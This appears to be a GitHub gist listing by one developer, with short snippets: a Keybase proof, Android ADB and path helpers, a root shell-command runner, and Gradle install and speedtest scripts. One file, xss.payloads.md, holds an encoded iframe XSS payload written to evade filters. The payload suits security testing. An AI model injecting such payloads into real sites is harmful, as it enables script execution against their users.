View gist:2190e989a290f201b125eea8c290476d
### Keybase proof
I hereby claim:
* I am atastycookie on github.
* I am ananev (https://keybase.io/ananev) on keybase.
* I have a public key ASCbb3lrKJa1ccKbIyzhiFh3CJoEtVxqNz-fwupBP-XBPAo
To claim this, I am signing this object:
View xss.payloads.md

<iframe/src=javascript:%2561%256c%2565%2572%2574``>

View adbtext.py
import itertools
class AdbText:
key_dict = {
"0": 7, "1": 8, "2": 9, "3": 10, "4": 11, "5": 12, "6": 13, "7": 14, "8": 15, "9": 16, "*": 17,
"#": 18, "A": 29, "B": 30, "C": 31, "D": 32, "E": 33, "F": 34, "G": 35, "H": 36, "I": 37, "J": 38, "K": 39,
"L": 40, "M": 41, "N": 42, "O": 43, "P": 44, "Q": 45, "R": 46, "S": 47, "T": 48, "U": 49, "V": 50, "W": 51,
"X": 52, "Y": 53, "Z": 54, ",": 55, ".": 56, " ": 61, " ": 62, "\n": 66, "`": 68, "-": 69, "=": 70, "[": 71,
"]": 72, "\\": 73, ";": 74, "'": 75, "/": 76, "@": 77, "+": 81, "(": 162, ")": 163,
}
View install_gradle.sh
#!/bin/bash
# installs to /opt/gradle
# existing versions are not overwritten/deleted
# seamless upgrades/downgrades
# $GRADLE_HOME points to latest *installed* (not released)
gradle_version=2.13
mkdir /opt/gradle
wget -N http://services.gradle.org/distributions/gradle-${gradle_version}-all.zip
unzip -oq ./gradle-${gradle_version}-all.zip -d /opt/gradle
ln -sfnv gradle-${gradle_version} /opt/gradle/latest
View systemApp.java
static public boolean runCommandWait(String cmd, boolean needsu) {
try {
String su = "sh";
if (needsu) { su = "su"; }
Process process = Runtime.getRuntime().exec(new String[]{su, "-c", cmd});
int result = process.waitFor();
return (result == 0);
View android.path.md

System directories

Method Result
Environment.getDataDirectory() /data
Environment.getDownloadCacheDirectory() /cache
Environment.getRootDirectory() /system

External storage directories

View speedtest.sh
dlspeed=$(echo -n "scale=2; " && curl --connect-timeout 8 http://162.243.11.125/dl/10mb.test -w "%{speed_download}" -o $fileName -s | sed "s/\,/\./g" && echo "/1048576");
echo "$dlspeed" | bc -q | sed "s/$/ MB\/sec/;s/^/\tDownload Speed\: /";
rm -rf $fileName;